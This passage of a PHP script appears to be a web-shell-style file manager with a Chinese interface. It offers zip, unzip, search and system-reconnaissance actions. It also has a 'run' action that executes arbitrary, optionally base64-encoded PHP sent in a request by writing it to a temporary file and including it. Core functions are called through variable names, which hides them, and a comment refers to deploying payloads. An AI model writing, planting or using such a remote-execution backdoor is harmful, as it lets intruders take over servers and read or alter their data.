fm_json(array('ok' => true, 'removed' => $removed)); } /* ---------------- 打包 zip ---------------- */ case 'zip': { if (!class_exists('ZipArchive')) fm_fail('服务端未启用 ZipArchive 扩展'); $base = fm_resolve($CFG, isset($PS['p']) ? $PS['p'] : ''); $ps = json_decode(isset($PS['ps']) ? (string)$PS['ps'] : '[]', true); if (!is_array($ps) || !$ps) fm_fail('没有选中项'); if (!is_dir($base)) $base = dirname($base); $zipPath = rtrim($base, '/') . '/archive_' . date('Ymd_His') . '.zip'; $z = new ZipArchive(); if ($z->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) fm_fail('创建压缩包失败'); foreach ($ps as $rel) { $full = fm_abs_join($base, $rel); if (!file_exists($full)) continue; if (is_file($full)) { $z->addFile($full, basename($full)); continue; } try { $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($full, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); $z->addEmptyDir(basename($full) . '/'); foreach ($it as $f) { $p = str_replace('\\', '/', $f->getPathname()); $inner = basename($full) . '/' . ltrim(str_replace('\\', '/', substr($p, strlen($full))), '/'); if ($f->isDir() && !$f->isLink()) $z->addEmptyDir($inner); else $z->addFile($p, $inner); } } catch (Exception $e) {} } $z->close(); fm_json(array('ok' => true, 'path' => $zipPath, 'size' => @filesize($zipPath))); } /* ---------------- 解包 zip ---------------- */ case 'unzip': { if (!class_exists('ZipArchive')) fm_fail('服务端未启用 ZipArchive 扩展'); $f = fm_resolve($CFG, isset($RQ['p']) ? $RQ['p'] : ''); $out = fm_resolve($CFG, isset($RQ['to']) ? $RQ['to'] : dirname($f)); if (!is_file($f)) fm_fail('压缩包不存在'); if (!is_dir($out) && !@mkdir($out, 0755, true)) fm_fail('解包目录创建失败'); $z = new ZipArchive(); if ($z->open($f) !== true) fm_fail('打开压缩包失败'); $errs = array(); for ($i = 0; $i < $z->numFiles; $i++) { $nm = $z->getNameIndex($i); if ($nm === false) continue; $nm2 = str_replace('\\', '/', $nm); if (strpos($nm2, '..') !== false) { $errs[] = $nm . ' (zip-slip 拦截)'; continue; } if (!$z->extractTo($out, $nm)) $errs[] = $nm; } $z->close(); fm_json(array('ok' => count($errs) === 0, 'to' => $out, 'fail' => $errs)); } /* ---------------- 搜索 ---------------- */ case 'search': { $base = fm_resolve($CFG, isset($RQ['p']) ? $RQ['p'] : ''); $q = isset($RQ['q']) ? (string)$RQ['q'] : ''; $grep = !empty($RQ['c']); $depth = isset($RQ['d']) ? max(1, (int)$RQ['d']) : 6; $limit = isset($RQ['l']) ? max(1, (int)$RQ['l']) : 200; if ($q === '') fm_fail('搜索词为空'); $hits = array(); try { $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($base, FilesystemIterator::SKIP_DOTS) ); $it->setMaxDepth($depth); foreach ($it as $f) { if (count($hits) >= $limit) break; $p = str_replace('\\', '/', $f->getPathname()); $n = $f->getFilename(); if (stripos($n, $q) !== false) { $hits[] = array('p' => $p, 'n' => $n, 't' => $f->isDir() ? 'd' : 'f', 's' => $f->isDir() ? 0 : $f->getSize(), 'm' => $f->getMTime(), 'why' => 'name'); continue; } if ($grep && $f->isFile() && $f->getSize() < 2097152) { $c = @$fgc($p); if ($c === false || strpos($c, "\0") !== false) continue; if (strpos($c, $q) === false) continue; $lines = preg_split("/\r\n|\n|\r/", $c); $snip = array(); foreach ($lines as $i2 => $ln) { if (stripos($ln, $q) !== false) { $snip[] = ($i2 + 1) . ': ' . trim(substr($ln, 0, 200)); if (count($snip) >= 5) break; } } $hits[] = array('p' => $p, 'n' => $n, 't' => 'f', 's' => $f->getSize(), 'm' => $f->getMTime(), 'why' => 'content', 'snip' => $snip); } } } catch (Exception $e) {} fm_json(array('ok' => true, 'hits' => $hits, 'count' => count($hits))); } /* ---------------- 系统信息 ---------------- */ case 'info': { $p = fm_resolve($CFG, isset($RQ['p']) ? $RQ['p'] : ''); if (!is_dir($p)) $p = dirname($p); $out = array( 'ok' => true, 'os' => PHP_OS, 'php' => PHP_VERSION, 'sapi' => php_sapi_name(), 'user' => fm_opt('get_current_user'), 'host' => fm_opt('php_uname', 'n'), 'cwd' => fm_resolve($CFG, ''), 'path' => $p, 'free' => fm_opt('disk_free_space', $p), 'total' => fm_opt('disk_total_space', $p), 'uptime' => fm_opt('file_get_contents', '/proc/uptime'), 'uname' => fm_opt('php_uname'), 'uid' => function_exists('posix_getuid') ? @posix_getuid() : null, 'gid' => function_exists('posix_getgid') ? @posix_getgid() : null, 'limits' => array( 'upload_max_filesize' => @ini_get('upload_max_filesize'), 'post_max_size' => @ini_get('post_max_size'), 'memory_limit' => @ini_get('memory_limit'), 'max_execution_time' => @ini_get('max_execution_time'), 'disable_functions' => @ini_get('disable_functions'), 'open_basedir' => @ini_get('open_basedir'), 'allow_url_fopen' => @ini_get('allow_url_fopen'), ), 'ext' => array( 'zip' => class_exists('ZipArchive'), 'curl' => function_exists('curl_init'), 'posix' => function_exists('posix_getuid'), 'mb' => function_exists('mb_convert_encoding'), ), 'writable' => array( 'cwd' => @is_writable(fm_resolve($CFG, '')), 'tmp' => fm_opt('is_writable', fm_tmpdir()), 'path' => @is_writable($p), ), ); fm_json($out); } /* ---------------- 远程 PHP 执行(CLI 用) ---------------- */ case 'run': { if (empty($CFG['allow_run'])) fm_fail('run 已被禁用', 403); $code = ''; if (isset($RQ['code'])) $code = (string)$RQ['code']; elseif (isset($RQ['c'])) $code = $b64((string)$RQ['c']); if ($code === '') fm_fail('代码为空'); if (!headers_sent()) @header('Content-Type: text/plain; charset=utf-8'); $tmp = false; /* 优先在**本文件所在目录**建临时文件:这样载荷里的 __DIR__ 仍然指向这里 (写在 sys_temp_dir 会让 __DIR__ 变成 /tmp,部署类载荷会写错目录) */ $dirs = array(dirname(__FILE__), fm_tmpdir()); foreach ($dirs as $d) { $tmp = @tempnam($d, 'k'); if ($tmp !== false) break; } if ($tmp === false) fm_fail('临时文件不可用', 500); $fpc($tmp, '<' . '?php ' . $code); @include $tmp; @$unl($tmp); exit; } default: fm_fail('未知动作: ' . $ACTION, 404); } } /* ============================== 浏览器 UI ============================== */ $ROOT_JSON = json_encode(fm_resolve($CFG, '')); $TOKEN_JSON = json_encode($TOKEN); ?> 文件管理器
名称大小修改时间权限属主
松开以上传到当前目录